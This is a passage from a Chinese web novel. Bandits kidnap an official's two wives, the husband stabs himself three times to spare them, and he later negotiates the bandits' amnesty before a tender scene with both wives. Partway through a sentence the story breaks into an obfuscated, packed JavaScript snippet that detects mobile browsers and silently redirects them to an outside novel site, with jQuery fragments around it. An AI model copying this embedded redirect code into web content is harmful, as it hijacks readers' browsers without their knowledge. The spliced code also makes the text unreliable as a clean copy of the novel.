她们猛地回头,只见四个穿着粗布短打的汉子站在身后,脸上带着不怀好意的笑。虽换了装扮,那眼神里的凶戾却藏不住——正是山寨里的土匪。 “你们想干什么?”李傲雪将丁香护在身后,强作镇定,“我家少爷呢?你们把他怎么样了?” “肖大人好得很。”为首的三角眼晃了晃手里的短刀,“想见到他,就乖乖跟我们走。” “你们做梦!”丁香鼓起勇气喊道,“京兆尹的人很快就会来抓你们,快放了公子!” “京兆尹?”三角眼嗤笑一声,上前一步,语气阴狠,“别指望那些官老爷了。我实话告诉你们,现在肖大人的命捏在我们手里。你们要是听话,还能活着见他;要是敢犟,”他顿了顿,眼神扫过京城方向,“我们虽不图财,却有的是手段——比如,夜里悄悄摸进肖府,把你们家的人一个个……” 他做了个抹脖子的手势,李傲雪的脸色瞬间白了。她知道,这些亡命之徒说得出来就做得出来,肖家上上下下几十口人,绝不能因为她们出事。 “你们要带我们去哪?”她深吸一口气,声音带着不易察觉的颤抖。 “到了就知道。”三角眼示意手下,“识相点,别逼我们动粗。” 两个土匪上前,一左一右“扶”住她们。李傲雪悄悄捏了捏丁香的手,用眼神示意她别慌。丁香眼眶泛红,却用力点了点头——她知道,现在不能给少夫人添乱。 被推搡着往密林深处走时,李傲雪故意放慢脚步,悄悄将藏在袖角的一枚银簪子丢在地上。那是少爷送她的,上面刻着个“肖”字,若是京兆尹的人追来,或许能看到。 走了约莫半个时辰,前方隐约出现了山寨的轮廓。李傲雪的心一点点往下沉,却在心里默念:少爷,等我,我一定会想办法救你出去。 她不知道,此刻的肖晨正站在石牢里,望着窗外的天空,心乱如麻。他仿佛能感觉到她们正一步步靠近这危险之地,指甲深深掐进了掌心。 大厅里光线昏暗,肖晨被两个土匪押着进来时,一眼就看见了站在中央的李傲雪和丁香。两人衣衫微乱,脸上满是惊慌,却依旧挺直着脊背。 “少爷!”“公子!”两人同时唤道,声音里的担忧几乎要溢出来。 李傲雪挣脱开看守的手,冲上前想靠近他,却被拦住。她红着眼眶喊道:“你们快放了他!要钱要物我们都给,别伤害他!” 正说着,一个土匪匆匆跑进来,手里举着一枚银簪,对二当家道:“二哥,在来的路上捡着这个,看着像是她们丢的。” 二当家看清那簪子上的“肖”字,脸色骤变,猛地一脚踹翻旁边的木桌:“好个狡猾的娘们!竟敢留记号!” 他拔出腰间的刀,指着李傲雪和丁香,眼神凶狠:“坏了我的规矩,就得付出代价!来人,把这两个碍事的……” “不许动她们!”肖晨猛地挣开土匪,挡在李傲雪身前,胸口因激动而剧烈起伏,“有什么冲我来!” “冲你来?”二当家冷笑,收了刀,却从手下手里拿过另一把匕首,扔到肖晨脚边,“行啊。给你两个选择:要么,自己在身上捅三刀,这事就算了;要么,就让我这弟兄们好好‘陪陪’你的两位夫人——她们长得不错,想必弟兄们会很喜欢。” 土匪们顿时发出一阵污言秽语的哄笑,李傲雪和丁香吓得脸色惨白,却死死咬着唇不肯出声。 “你敢!”肖晨的声音发颤,不是因为怕,而是因为怒。他看着脚边的匕首,又回头看了眼满脸惊惧却依旧信任地望着他的李傲雪和丁香,心里像是被刀剜一样疼。 “我有什么不敢的?”二当家抱臂看着他,“给你三息时间考虑。” “一——” 肖晨弯腰捡起匕首,寒光映在他眼底。 “少爷,不要!”李傲雪哭喊道,“我们不怕!” “二——” 他闭上眼,再睁开时,已是一片决绝。 “公子!”丁香的哭声撕心裂肺。 “三!” 寒光一闪! 肖晨猛地举起匕首,毫不犹豫地刺向自己的左臂! “噗嗤”一声,鲜血瞬间涌了出来,染红了他的衣衫。 “少爷!”李傲雪眼前一黑,险些晕过去。 不等众人反应,他反手又是两刀,分别刺在右臂和小腹上。动作快而狠,没有丝毫犹豫。 三刀刺完,他踉跄了一下,却依旧挺直着身子,死死盯着二当家,声音因失血而有些虚弱,却带着一股震慑人的力量:“这样……你满意了?” 大厅里一片死寂,连土匪们的哄笑都停了。他们看着肖晨身上渗出的鲜血,看着他苍白却倔强的脸,竟一时有些发怵。 二当家的脸色变了几变,最终狠狠踹了下地面:“妈的!是条汉子!” 他冲手下吼道:“还愣着干什么?找大夫来给他治伤!要是让他死了,我扒了你们的皮!” 土匪们连忙应声,有人去找大夫,有人拿来伤药。 肖晨被扶到椅子上时,视线已经有些模糊。他看向李傲雪,强撑着挤出一个笑容:“别怕……我没事……” 李傲雪扑过去,紧紧握住他没受伤的手,眼泪大颗大颗地掉在他的手背上:“傻子……你这个傻子……” 丁香也蹲在一旁,捂着嘴无声地落泪。 二当家看着这一幕,眼神复杂地转身离开。他原想折辱肖晨的骨气,却没料到,这人竟真的能为了两个女人,对自己下如此狠手。 这肖晨,比他想象中更难对付。 而肖晨靠在椅背上,感受着伤口传来的剧痛,心里却松了口气。只要她们没事就好。 他知道,这场对峙还没结束。但只要他还有一口气,就绝不会让任何人伤害她们。 “把这两个女人跟他关在一起。”二当家挥了挥手,语气里带着几分说不清道不明的意味。 土匪们不敢怠慢,解开李傲雪和丁香的绳索,将她们推搡着往石牢走去。肖晨被人搀扶着,伤口的疼痛让他额头沁出冷汗,却仍不忘回头叮嘱:“慢点走,别碰着她们。” 进了石牢,李傲雪立刻扑到肖晨身边,小心翼翼地查看他的伤口,眼泪止不住地往下掉:“少爷,疼不疼?都怪我,要不是我留下簪子……” “不关你的事。”肖晨抬手,想用没受伤的手替她擦泪,却牵扯到伤口,疼得倒吸一口冷气。 丁香连忙取来土匪扔在角落里的干净布条,想帮他按住渗血的伤口,手却抖得厉害:“公子,你……你感觉怎么样?要不要紧?” “我没事。”肖晨安抚地笑了笑,声音虽虚弱,眼神却很稳,“这点伤,死不了。” 这时,二当家也走了进来,靠在牢门上,看着里面三人相依的模样,眉头皱得很紧。他蹲下身,盯着肖晨:“我实在不懂,为了两个女人,把自己折腾成这样,值得吗?” 他顿了顿,语气带着嘲讽:“在我看来,女人就是累赘。当年若不是我那没用的娘拦着,我爹也不会被那狗官骗得那么惨。” 肖晨抬眼看向他,声音平静却有力:“她们不是累赘,是我的妻子。” “妻子?”二当家嗤笑,“能当饭吃?能帮你打天下?” “不能。”肖晨轻轻握住李傲雪的手,感受着她掌心的温度,“但她们是我想护着的人。我是男人,护着自己的妻子,天经地义。” 他看着二当家,继续道:“你当年受过的苦,我能理解。但正因如此,你该更明白——真正值得珍惜的,是身边那些真心对你好的人,而不是被仇恨牵着走,伤害无辜。” 二当家的脸色变了变,像是被戳中了什么,猛地站起身:“少跟我讲这些!” 他狠狠瞪了肖晨一眼,转身就走,临到门口又停下,没回头,只丢下一句:“好好养伤吧,别耍花样。” 牢门“哐当”一声关上,石牢里又恢复了安静。 李傲雪把脸埋在肖晨的肩上,哽咽道:“少爷,我们一定能出去的。” “嗯。”肖晨轻抚着她的头发,看向丁香,“你们别怕,京兆尹的人很快就会来。” 他知道,二当家虽然嘴硬,眼神里的动摇却骗不了人。或许,这场荒唐的恩怨,快要结束了。 伤口还在隐隐作痛,但看着身边两个不离不弃的身影,肖晨的心里却生出一股暖意。只要她们在,再难的坎,他都能跨过去。 没过多久,牢门被推开,一个背着药箱的老大夫被土匪推了进来,身后还跟着端着热水和布条的手下。老大夫颤巍巍地给肖晨清理伤口、上药包扎,动作虽慢却很仔细,只是全程不敢多说一句话。 喝下药汤,苦涩的味道漫过舌尖,肖晨却觉得胸口的闷痛感轻了些。土匪们离开后,石牢里只剩下他们三人,李傲雪连忙扶着他躺好,又拿过干净的草垫垫在他身下。 “少爷,你以后可千万不能再这样了。”她一边替他擦去额头的冷汗,一边红着眼眶嗔怪,声音里满是后怕,“刚才那几刀下去,我心都快跳出来了。” 丁香也坐在一旁,手里攥着刚拧干的布巾,小声附和:“是啊公子,你……你真的觉得我们有那么重要吗?值得你拿命去换?” 肖晨侧过头,看着两人眼底的担忧和不安,虚弱地笑了笑,伸手轻轻拍了拍李傲雪的手背,又看向丁香:“傻瓜,你们都是我放在心尖上的人,怎么会不重要?” 他顿了顿,语气认真起来:“当初娶你们进门,我就想着要一辈子护着你们,不让你们受半分委屈。媳妇娶回来是用来疼的,不是用来担惊受怕的。” “我知道你们担心我,但换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186473|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成是你们出事,我也一样会这么做。”他看着她们,眼神坚定,“只要我还有一口气在,就绝不会让任何人伤害你们。这辈子,我肖晨绝不会做对不起你们的事。” 李傲雪听着这话,眼泪又忍不住掉了下来,这次却是甜的。她吸了吸鼻子,拿起布巾轻轻擦拭他的脸颊:“知道了,就你嘴甜。” 丁香也红了眼眶,连忙低下头去绞布巾,嘴角却忍不住微微上扬。 石牢里的光线依旧昏暗,空气中弥漫着药味和泥土的气息,可这一刻,因为肖晨的几句话,两人心里的恐惧和不安都消散了大半。 肖晨看着她们脸上的神情,心里也暖融融的。伤口还在疼,但只要能看到她们安好,这点痛又算得了什么? 他闭上眼睛,轻声道:“我先歇会儿,你们也靠在旁边歇歇。等我好点了,咱们再想办法。” 李傲雪和丁香对视一眼,都点了点头。她们轻轻靠在石壁上,守在肖晨身边,听着他平稳的呼吸声,心里渐渐安定下来。 不管外面有多少风雨,只要三个人在一起,就总有希望。 夜幕降临时,牢门被推开,两个土匪端着食盒和水盆走了进来,放下东西就匆匆退了出去。李傲雪打开食盒一看,里面竟是四菜一汤,还有两碗白米饭,甚至备了两身干净的襦裙,显然是特意给她们准备的。石桌上还放着一碗冒着热气的汤药,看来是晚些时候要喝的。 “没想到他们倒还周到。”丁香小声嘀咕了一句,连忙扶着肖晨坐起身,在他背后垫了块厚布。 李傲雪盛了碗饭,夹了块软烂的鸡肉,用勺子碾碎了递到他嘴边:“少爷,你多吃点,伤口才能好得快。” 丁香也端起汤碗,用小勺舀了些温热的鸡汤,吹了吹才喂给他:“是啊公子,这汤看着很补呢。” 肖晨一边小口吃着,一边看着两人小心翼翼的模样,心里涌上一股暖流。他咽下嘴里的食物,轻声道:“以后别总叫我少爷、公子了,直接叫我的名字,肖晨,就好。” 这话一出,李傲雪和丁香都愣住了,脸色瞬间有些发白。 “少爷,你……你怎么能这么说?”李傲雪手里的勺子顿在半空,急得直摆手,“哪有做妻子的直呼丈夫名讳的道理?传出去会被人笑话的。” 丁香也连连点头,小声道:“是啊公子,这不合规矩的。我们……我们叫不出口。” 肖晨看着她们紧张的样子,无奈地笑了笑:“咱们是夫妻,哪来那么多规矩?在我面前,不用那么拘谨。” “那也不行。”李傲雪把勺子递到他嘴边,语气却很坚持,“少爷就是少爷,这是本分。这话以后可别再说了,不然……不然我们可要生气了。” 丁香也跟着点头,眼里带着几分恳求。 肖晨看着她们较真的模样,知道拗不过,只好叹了口气:“好,好,听你们的,都听你们的。” 见他松了口,李傲雪和丁香才相视一笑,眼底的紧张散去,又继续耐心地喂他吃饭。 石牢外的夜色越来越浓,山寨里渐渐安静下来,只有偶尔传来的几声狗吠。肖晨靠在石壁上,看着眼前两个温柔细心的身影,心里一片安宁。 或许规矩礼教束缚着她们,但这份藏在细节里的在意,却比任何称呼都来得真切。 他笑了笑,安心地闭上眼,任由她们喂着汤药。只要能这样在一起,叫什么,又有什么关系呢? 碗筷刚被收拾干净,牢门就“吱呀”一声被推开,二当家背着双手走了进来。他扫了眼石桌上空了的碗碟,视线最终落在肖晨身上,语气沉得像块石头:“饭也吃了,伤也在养,该给我个准话了吧?是留下来,还是打算死在这儿?” 肖晨靠在草堆上,脸色虽仍苍白,眼神却很清亮。他迎上二当家的目光,缓缓摇头:“我不会留下来。” 二当家的脸色顿时沉了下去,攥紧了拳头:“你非要敬酒不吃吃罚酒?” “我不是要跟你硬碰硬。”肖晨语气平静,“这几日相处,我看得出来,你虽行事狠戾,却不是真的无情无义。你心里清楚,困着我们,靠着威胁过日子,根本不是长久之计。” 二当家的眼神闪了闪,没说话。 肖晨继续道:“你做不了主,对吧?把你们大当家的找来,我来跟他说。” “你找大当家干什么?”二当家皱紧眉头,“别以为耍些花言巧语就能蒙混过关,大当家的脾气可比我暴烈十倍!” “我不是耍花样。”肖晨直视着他,“我只是想跟他谈谈——关于你们山寨的出路,也关于这些被抓的书生。总不能一辈子躲在这山里,过着提心吊胆的日子吧?” 二当家沉默了。他确实做不了主,这些年山寨大小事都是大当家拍板,他只负责执行。可大当家的性子固执得像块铁,认定的事十头牛都拉不回来,肖晨这时候要见他,怕是讨不到好。 “你别打什么歪主意。”二当家盯着他,“大当家要是动了杀心,我可保不住你。” “我知道。”肖晨点头,“但有些话,必须得说。你去通报吧。” 二当家定定地看了他片刻,见他神色笃定,不像是在说谎,终于转身往外走:“等着。” 牢门关上的瞬间,李傲雪连忙握住肖晨的手,眼里满是担忧:“少爷,大当家会不会……” “别担心。”肖晨拍了拍她的手背,安抚道,“越是身居高位的人,越懂得权衡利弊。他们困着我,无非是想找条活路,我给他们指一条,总比鱼死网破好。” 丁香也紧张地攥着衣角:“可万一……” “没有万一。”肖晨笑了笑,“相信我。” 他心里清楚,这是目前唯一的办法。直接说服二当家不成,只能去找能拍板的人。至于结果如何,他没有十足的把握,却必须赌一把——为了自己,为了傲雪和丁香,也为了那些无辜被抓的书生。 石牢里再次安静下来,只有烛火在墙上投下晃动的影子。三人都没再说话,却不约而同地握紧了彼此的手,静静等待着那个未知的结果。 二当家匆匆来到大当家的木屋,一进门就把肖晨的话原原本本说了一遍,末了补充道:“大哥,这姓肖的骨头硬得很,宁死不肯留下,还说要跟你谈谈山寨的出路。” 大当家正坐在虎皮椅上擦拭着一把锈迹斑斑的长刀,闻言眼皮都没抬:“哦?他倒有胆子。” “可不是嘛。”二当家皱眉,“为了那两个女人,他能对自己捅三刀,是个不要命的主儿。我看他不像在说空话,倒像是真有什么盘算。” 大当家停下手里的动作,刀面映出他沟壑纵横的脸,眼神深沉:“能中状元,进吏部当主事,又敢孤身涉险查咱们的底,自然不是普通人。” 他摩挲着刀柄,沉吟片刻:“硬来怕是不成,逼急了他,这张‘护身符’就没用了,官府那边也不好收场。” 二当家连忙问:“那……见不见他?” “见。”大当家把刀往桌上一拍,“明天把他带过来。”他抬眼看向二当家,语气沉稳,“这事儿不能急,得从长计议。他想谈出路?我倒要听听,他能给咱们指什么路。” 二当家愣了一下,随即点头:“好,我明天一早就去带他。” “等等。”大当家叫住他,“让他把那两个女人也带上。” 二当家有些不解:“带她们干什么?” “看看他是不是真能为了这两个女人,放下身段跟咱们谈。”大当家嘴角勾起一抹冷笑,“也让他知道,他的软肋还捏在咱们手里。” 二当家恍然大悟,应了声“明白”,转身退了出去。 木屋外,夜色正浓。大当家望着窗外黑沉沉的山林,手指在刀面上轻轻敲击着。肖晨这步棋,他没料到,但既然对方想谈,他不介意陪他走一局。 只是这棋局的输赢,还未可知。 70.招安,收留小弟 第二天一早,两个土匪便来石牢带肖晨,特意嘱咐“只带他一个”。李傲雪和丁香虽满是担忧,却也只能看着他被扶着离开,反复叮嘱“万事小心”。 肖晨被带到山寨深处的木屋,屋里陈设简陋,只有一张虎皮椅和几张木桌。大当家背对着门站在窗前,身形魁梧,肩上的旧疤在晨光里格外显眼。听到脚步声,他缓缓转身,眼神锐利如刀,直直落在肖晨身上。 “你想见我?”大当家开口,声音粗哑,带着常年居于山野的沉厚。 肖晨站稳身子,无视对方身上的压迫感,点头道:“没错。我知道,你不是天生就爱滥杀无辜的人,能走到今天这一步,都是被逼的。” 大当家瞳孔微缩,像是没料到他会这么说,沉默片刻后,走到虎皮椅上坐下,指了指对面的木凳:“坐下说。” 等肖晨坐下,大当家才缓缓开口,声音里带着压抑多年的痛楚:“你说得对,我以前不是这样的。” 他攥紧了拳头,指节发白,像是在回忆最刺骨的过往:“我姐姐当年,满心欢喜跟了个穷书生。她白天织布、晚上帮人洗衣,把家里的钱、甚至自己的嫁妆都拿给他读书,就盼着他能有出息,风风光光娶她。” “可他呢?”大当家猛地提高声音,眼底迸出恨意,“读了几年书,考中个举人,转头就娶了县城里的富家小姐!我姐姐不甘心,去找他理论,他倒好,暗地里让人侮辱了她,还把她扔在大街上,到处散播谣言,说她不知廉耻、纠缠不休!” “我姐姐性子烈,哪受得住这种委屈?当天就喝了毒药,没等我们赶到,人就没了。”他声音发颤,喉结滚动着,“我和爹娘去官府告状,可那书生早就买通了官差,不仅没告赢,他们还说我们‘诬告朝廷命官’,把我爹娘活活打死在公堂上!” “那天,满街的人都在看笑话,只有我,从死人堆里爬了出来,躲在乱葬岗里才捡回一条命。”大当家低下头,额前的头发遮住了眼底的泪水,“从那天起,我就发誓,凡是那些披着‘读书人’外皮的败类,凡是帮着他们作恶的人,我一个都不会放过!” 木屋陷入死寂,只有大当家沉重的呼吸声。肖晨坐在对面,心里五味杂陈——他终于明白,这山寨里的仇恨,远比他想象中更深、更痛。那些被抢走的书生、被报复的官员,背后竟是这样一段血泪交织的过往。 他沉默片刻,轻声道:“你的仇,我懂。可那些被你们抓来的书生里,大多是寒门子弟,他们和当年害你家人的败类,根本不是一类人。” 大当家猛地抬头,眼神又恢复了之前的狠戾:“不是一类人?在我眼里,只要是读了书就想攀高枝、忘了本的,都该杀!” 肖晨迎着大当家狠戾的目光,语气依旧沉稳:“不是所有人都像害你家人的败类那样。这世上有忘恩负义的书生,也有心怀正气、想为百姓做事的读书人,不能一概而论。” 他顿了顿,往前倾了倾身子,目光恳切:“你要是信得过我,我可以向朝廷求情,让你们招安。到时候,弟兄们不用再躲在山里提心吊胆,能堂堂正正过日子,这才是给他们真正的出路。” “招安?”大当家像是听到了笑话,嗤笑一声,“朝廷会容得下我们这些‘土匪’?不过是换个法子把我们斩草除根!” “不会。”肖晨语气笃定,“我是吏部主事,又是新科状元,在皇上面前尚有几分薄面。只要你们愿意弃暗投明,不再伤害无辜,我保证,会为你们求一个公正的结果——或编入军中,或回乡务农,总比在这山里等着官府围剿强。” 他看着大当家,继续道:“你把我留在这里,看似有了‘护身符’,可朝廷绝不会放任官员被掳而不管。一旦派重兵来剿,这山寨四面环山,根本无路可逃,到时候不仅你活不了,跟着你的弟兄们,还有那些被抓的书生,都会死在这里。” 这番话像重锤,砸在大当家心上。他沉默了,手指无意识地摩挲着虎皮椅的扶手——肖晨说的,他不是没想过,只是这些年被仇恨蒙了眼,又怕朝廷秋后算账,才一直抱着“能活一天是一天”的念头。 “你……凭什么让我信你?”大当家终于开口,语气里少了几分戾气,多了几分犹豫。 “凭我肖晨的名字,凭我是朝廷命官,更凭我不想再看到无辜的人丧命。”肖晨直视着他,“你恨的是害你家人的人,不是这天下。给弟兄们一条活路,也给你自己一个机会,不好吗?” 大当家久久没有说话,目光落在窗外的山林上,像是在权衡利弊。木屋的空气渐渐凝重,肖晨也不催促,静静等着他的答复——这不仅是山寨众人的出路,也是他和傲雪、丁香,以及所有被抓书生的生机。 过了许久,大当家才缓缓开口,声音里带着几分疲惫,却也多了几分松动:“让我……想想。” 肖晨见大当家语气松动,连忙趁热打铁:“只要你们肯接受招安,我不仅能保弟兄们平安,还能凭吏部的关系,给你谋个地方巡检的职位。到时候你不用再躲在山里,能带着弟兄们堂堂正正地除暴安良,抓真正的恶霸败类——这总比现在这样,天天提心吊胆,还落个‘土匪’的名声强。” 这话像是戳中了大当家心里最软的地方。他这辈子最恨的就是仗势欺人的恶徒,若是能名正言顺地惩治他们,也算圆了当年没能护住家人的遗憾。 大当家盯着肖晨看了许久,眼神里的犹豫渐渐散去,终于咬了咬牙:“好!我信你这一回!” 他站起身,双手背在身后,语气带着最后的警惕:“你现在就下山去办招安的事,我只给你三天时间。三天之内,要是看不到朝廷的招安文书,或者官府敢派兵来围剿……” 他顿了顿,眼底闪过一丝狠厉,话却没说完,但意思再明显不过——若是肖晨失信,他的两位夫人,就要付出代价。 肖晨心里一松,连忙点头:“你放心!我这就下山去京兆尹府,保证三天之内给你答复。在此期间,还请你善待我的夫人,还有那些被抓的书生。” “只要你守信用,我自然不会动他们。”大当家挥了挥手,“来人,备马!送肖大人下山!” 屋外的土匪很快牵来一匹马,肖晨被扶着上马时,心里满是急切——他得尽快赶到京兆尹府,一方面让官府暂停围剿计划,另一方面抓紧拟写招安文书,绝不能让傲雪和丁香再置身险境。 马蹄声渐渐远去,大当家站在木屋前,望着肖晨离开的方向,眉头依旧紧锁。二当家走过来,有些担忧地问:“大哥,就这么信他?万一他耍花样……” “信也得信,不信也得信。”大当家叹了口气,“这山寨,总不能让弟兄们守一辈子。若是真能有条活路,也算我对得住跟着我的兄弟。” 他转身往回走,语气坚定:“这三天,看好那两位夫人和那些书生,别出任何岔子。” 而此时的肖晨,正催马疾行。风在耳边呼啸,他心里只有一个念头——快点,再快点,一定要在三天之内,把事情办成。 他不能失信,更不能让自己在乎的人,再受半分伤害。 肖晨伏在马背上,伤口被颠簸得阵阵抽痛,冷汗浸湿了后背的纱布,却丝毫不敢放慢速度。山路崎岖,晨露打湿了马蹄,每一次踏在碎石上的声响,都像是在催促他——快些,再快些。 行至山腰时,他忽然勒住缰绳。身后传来急促的脚步声,回头一看,竟是丁香抱着一个布包追了上来,额前碎发贴在汗湿的脸颊上,气喘吁吁:“公子……等一等!” 肖晨翻身下马,动作牵扯到伤口,疼得闷哼一声。“你怎么跑来了?傲雪呢?” “少夫人怕您路上饿着,让我给您送些干粮和伤药。”丁香把布包递过来,里面是用油纸裹好的肉干、饼子,还有一小瓶大夫新配的外敷药膏,“少夫人说,让您别太急,自己的伤要紧,她和那些书生在山上会安好的,让您放心。” 肖晨接过布包,指尖触到油纸的温热,心里一暖。他伸手替丁香理了理被风吹乱的衣领:“替我告诉傲雪,我三天内一定回来,让她照顾好自己,也多劝劝其他书生,莫要惊慌。” “公子放心!”丁香用力点头,又从袖中摸出一枚小小的平安符,塞进他手里,“这是少夫人昨天求的,说能保您平安。” 肖晨握紧那枚温热的平安符,塞进衣襟贴肉的地方。“快回去吧,山路危险。”他翻身上马,又叮嘱一句,“告诉大当家的人,莫要为难你。” 看着丁香的身影消失在山林深处,肖晨才重新策马前行。阳光渐渐升高,透过树叶的缝隙洒在身上,却驱不散他心里的紧迫感——三天时间,要打通官府、拟写文书、说服朝廷,每一步都不能出错。 午时刚过,肖晨终于抵达京兆尹府。府衙门口的守卫见他一身狼狈、带着伤,连忙通报。京兆尹赵大人听闻他平安回来,亲自迎到二门口,见他脸色苍白,连忙扶着他往里走:“肖大人,您可算回来了!这几日我派人在山下守着,就怕出意外!” 进了书房,肖晨顾不得喝一口热茶,直接将山寨的情况、大当家的过往和招安的条件和盘托出。赵大人听完,眉头紧锁:“招安?此事非同小可,需得奏请朝廷批复,三天时间怕是……” “赵大人,时间紧迫!”肖晨打断他,语气急切,“大当家只给三天,若是三天内见不到招安文书,傲雪和那些书生就危险了!” 他站起身,拱手道:“我愿以吏部主事的官职担保,这伙人虽为匪,却非穷凶极恶之徒,皆是被逼迫至此。若能招安,不仅能救下数十名书生,还能为朝廷添一股力量,何乐而不为?” 赵大人沉吟片刻,终是点头:“好!我信你!我这就写奏折,用八百里加急送往京城,同时让人拟一份临时招安文书,先稳住山寨那边。你且先去后院歇息养伤,后续事宜咱们再议。” 肖晨松了口气,却摇了摇头:“我不能歇。还得劳烦赵大人派人去山寨附近,告知弟兄们暂停围剿计划,莫要起冲突。另外,那些被抓书生的家人还在府衙外等候消息,我得去安抚他们。” 赵大人见他坚持,只好让人备好车马,陪他一同前往府衙外的临时安置点。得知亲人暂时安全,且官府已在筹备招安事宜,书生家人们悬着的心终于放下,纷纷向肖晨道谢,哭声与感激声交织在一起。 处理完这些事,已是傍晚。肖晨回到京兆尹府后院,才来得及让大夫重新处理伤口。药膏敷在溃烂的地方,疼得他额头冒汗,却依旧强撑着查看赵大人拟好的临时文书,逐字逐句修改,确保没有遗漏对山寨弟兄们的承诺。 夜里,他躺在榻上,翻来覆去难以入眠。手里攥着那枚平安符,脑海里全是李傲雪和丁香担忧的眼神,还有大当家说起家人时痛苦的模样。他知道,这三天不仅是在救傲雪和书生,也是在给山寨弟兄们一条回头的路。 第二日天不亮,肖晨就起身前往驿站,亲自盯着奏折被送入加急快马的背囊。驿站的驿卒接过奏折时,他反复叮嘱:“务必以最快的速度送往京城,交到吏部尚书手中,事关数十人性命!” 接下来的两天,肖晨几乎没合过眼。一边派人去山寨传递“文书已在途中”的消息,稳住大当家的心;一边整理山寨弟兄的名册,根据他们的特长拟定职位分配方案——擅长骑马射箭的可编入巡检队,懂医术、会木工的可安排到地方工坊,尽量让每个人都有合适的去处。 李傲雪和丁香在山上,也没闲着。她们知道肖晨在为招安的事奔波,便主动安抚其他书生,给受伤的人换药,甚至帮山寨的伙夫洗菜做饭。有书生抱怨“土匪可恨”,李傲雪便轻声解释大当家的过往,让他们明白这伙人的无奈,渐渐化解了双方的敌意。 大当家看在眼里,心里对肖晨的信任又多了几分。他让手下撤去了对书生的看守,甚至允许他们在山寨范围内活动,只是再三叮嘱“不许靠近下山的路”。 第三天清晨,天边刚泛起鱼肚白,驿站的快马就奔进了京兆尹府。肖晨几乎是从榻上弹起来,冲到门口接过奏折——朝廷准了!不仅同意招安,还按照他的提议,任命大当家为当地巡检使,负责维护一方治安,其余弟兄也皆有安置。 肖晨拿着招安文书,激动得手都在抖。他顾不上吃早饭,翻身上马,直奔山寨而去。这一次,马蹄声不再急促,却带着沉甸甸的希望。 抵达山寨时,已是午后。大当家和二当家早已在山口等候,看到肖晨手里的明黄色文书,两人眼神里满是紧张。肖晨翻身下马,将文书递过去:“朝廷准了!弟兄们的出路,有着落了!” 大当家颤抖着接过文书,展开细看。当看到“任命周虎(大当家本名)为青州巡检使”的字样时,这个半辈子都在刀尖上过日子的汉子,眼眶瞬间红了。他猛地抬头,看向肖晨,声音带着哽咽:“你……没骗我。” “我肖晨从不失信。”肖晨笑了笑,伤口的疼痛似乎都减轻了几分,“从今日起,你们不再是土匪,而是朝廷的官员,是守护百姓的人。” 二当家凑过来看着文书,激动得直拍大腿:“太好了!弟兄们终于不用躲在山里了!” 大当家深吸一口气,收起文书,对身后的弟兄们喊道:“都听到了吗?咱们有活路了!以后跟着朝廷,除暴安良!” 山寨里顿时爆发出欢呼声,压抑多年的阴霾,终于被阳光驱散。 大当家亲自带着肖晨去石牢接李傲雪和丁香。看到肖晨平安归来,李傲雪再也忍不住,扑进他怀里,眼泪止不住地掉:“少爷回来了……” “我回来了。”肖晨轻轻抱着她,又看向丁香,“让你们担心了。” 丁香笑着摇头,眼眶却红了。 当天傍晚,山寨杀了猪、宰了羊,摆起了庆功宴。书生们也不再拘谨,和山寨弟兄们坐在一起喝酒聊天。大当家端着酒碗,走到肖晨面前,一饮而尽:“肖大人,大恩不言谢!以后我周虎这条命,就交给朝廷了,绝不负你今日的恩情!” 肖晨也端起酒碗,浅酌一口:“往后,咱们都是为百姓做事,不必言谢。” 夜色渐深,山寨里的歌声、笑声此起彼伏。肖晨牵着李傲雪的手,站在山顶望着远处的星空。晚风拂过,带着山间的草木清香。 “终于都结束了。”李傲雪靠在他肩上,轻声道。 “嗯,结束了。”肖晨握紧她的手,又看向身旁的丁香,“以后,咱们再也不用分开了。” 丁香笑着点头,眼里满是憧憬。 夜色漫上山寨,庆功宴的喧闹渐渐淡去。肖晨被周虎和几个弟兄送回临时收拾出的木屋,李傲雪和丁香早已候在门口,手里端着温好的汤药和清水。 “少爷,快坐下歇歇。”李傲雪上前,小心翼翼地扶着他的胳膊,目光落在他胸前的纱布上,眉头轻轻蹙起,“方才在宴上看你强撑着,伤口是不是还疼?” 肖晨顺势坐下,拉过她的手放在掌心,指尖触到她微凉的指腹,心里满是暖意。他抬头望着她眼底未散的担忧,轻轻握住她的手,往自己唇边带了带,在她手背上印下一个轻柔的吻,声音低沉又温柔:“方才还觉得有些抽痛,可一看见你,这点疼就都忘了——有你在,我就不疼了。” 李傲雪的脸颊瞬间染上红晕,嗔怪地瞪了他一眼,却还是忍不住弯了嘴角,转身端过汤药:“油嘴滑舌,快把药喝了,大夫说睡前喝了伤口好得快。” 一旁的丁香端着清水,看着两人亲昵的模样,手指悄悄绞着衣角,眼神里带着几分羡慕,又有些不好意思。等肖晨喝完药,她才小声开口,声音细得像蚊子哼:“公子……你只跟少夫人亲近,还、还有我呢。” 话说完,她的脸瞬间红到了耳根,连忙低下头,不敢看肖晨的眼睛,心里却忍不住怦怦直跳。 肖晨闻言,忍不住笑了。他伸手,轻轻握住丁香的手腕,将她拉到自己身边。丁香没防备,踉跄着跌坐在他另一侧,刚要起身,就被肖晨伸手揽住了腰。 他看着丁香泛红的耳尖和躲闪的眼神,声音放得更柔:“傻丫头,我怎么会忘了你?”说着,他偏过头,在她额间印下一个轻如羽毛的吻,带着淡淡的药香和暖意,“你们两个,我一个都不会忘。” 丁香浑身一僵,随即像是被烫到似的,轻轻挣了挣,却没真的推开他,只敢用眼角偷偷看他,嘴角抑制不住地往上扬。 李傲雪坐在一旁,看着这一幕,眼里没有半分醋意,反而带着温柔的笑意。她拿起帕子,替肖晨擦了擦嘴角残留的药渍,轻声道:“好了,别总逗丁香了,让她害羞。少爷刚回来,也该好好歇歇,伤口可经不起折腾。” 肖晨笑着点头,却没松开揽着丁香的手,反而将两人都往自己身边带了带,让李傲雪靠在自己左肩,丁香倚在右肩,三人挤在小小的木椅上,听着窗外偶尔传来的虫鸣和远处的笑语。 